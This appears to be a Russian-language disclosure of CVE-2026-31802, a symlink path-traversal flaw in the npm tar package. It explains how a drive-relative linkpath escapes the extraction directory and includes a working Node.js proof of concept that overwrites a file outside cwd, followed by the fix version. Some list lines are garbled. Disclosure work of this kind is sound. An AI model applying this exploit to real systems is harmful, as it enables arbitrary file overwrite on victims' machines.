
Доказательство концепции и техническое описание для CVE-2026-31802, обхода пути через симлинк в npm tar, позволяющего произвольную перезапись файлов за пределами каталога извлечения.
Исследование: Joshua van Rijswijk
Этот репозиторий содержит мой proof of concept и описание уязвимости CVE-2026-31802 — критической уязвимости в npm-пакете tar (node-tar), затрагивающей версии <= 7.5.10.
Я обнаружил, что tar можно обмануть, заставив его создать символьную ссылку, указывающую за пределы целевой директории извлечения, используя относительный к диску целевой путь символьной ссылки, например C:../../../target.txt. На практике это позволяет выйти за пределы cwd при извлечении и превратить распаковку архива в примитив произвольной перезаписи файлов.
Ошибка достижима через обычное поведение извлечения при работе с управляемыми злоумышленником tar-архивами.
Изучая, как tar обрабатывает извлечение символьных ссылок, я заметил, что некоторые значения linkpath обрабатывались непоследовательно во время санитизации и валидации. В частности, относительные к диску пути, такие как:
C:../../../target.txt
в итоге переписывались перед использованием, но не проверялись в той же форме, в которой они в конечном итоге сохранялись и применялись.
Именно это несоответствие делает ошибку эксплуатируемой.
Уязвимость возникает из-за того, как tar обрабатывает специально созданные значения linkpath символьных ссылок при извлечении.
На высоком уровне логика извлечения удаляет префикс диска из пути вида:
C:../../../target.txt
и переписывает его в:
../../../target.txt
Однако проверка безопасности обхода пути выполняется для исходного значения до удаления префикса, в то время как создание символьной ссылки позже использует переписанное значение.
Это означает, что вредоносный архив может пройти валидацию, используя одну форму пути, но при этом создать символьную ссылку, которая выходит за пределы директории извлечения при записи на диск.
Вредоносный архив может содержать запись символьной ссылки следующего вида:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
При извлечении с обычным использованием, например:
tar.x({ cwd, file })
происходит следующее:
linkpath.cwd.Другими словами, логика извлечения проверяет одно значение, а использует другое. Этот разрыв создаёт примитив обхода пути.
Я написал следующий PoC, чтобы продемонстрировать, что извлечённую символьную ссылку можно заставить указывать за пределы корня извлечения, а затем использовать для перезаписи файла за пределами рабочей директории.
PoC:
../target.txta/b/llinkpath в C:../../../target.txta/b/lСкрипт PoC:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED подтверждает, что файл за пределами директории извлечения был перезаписан.
Вывод readlink и список файлов показывают, что извлечённая символьная ссылка указывает за пределы предполагаемого корня извлечения.
Эта проблема даёт злоумышленнику примитив произвольной перезаписи файлов за пределами предполагаемой директории извлечения с правами процесса, выполняющего извлечение.
Реалистичные сценарии включают:
В таких средах специально созданный архив может привести к записи за пределы директории, которую приложение ожидает контролировать.
tar <= 7.5.10tar 7.5.11Эта проблема была исправлена в 7.5.11.
Пользователям следует немедленно обновиться:
npm install tar@^7.5.11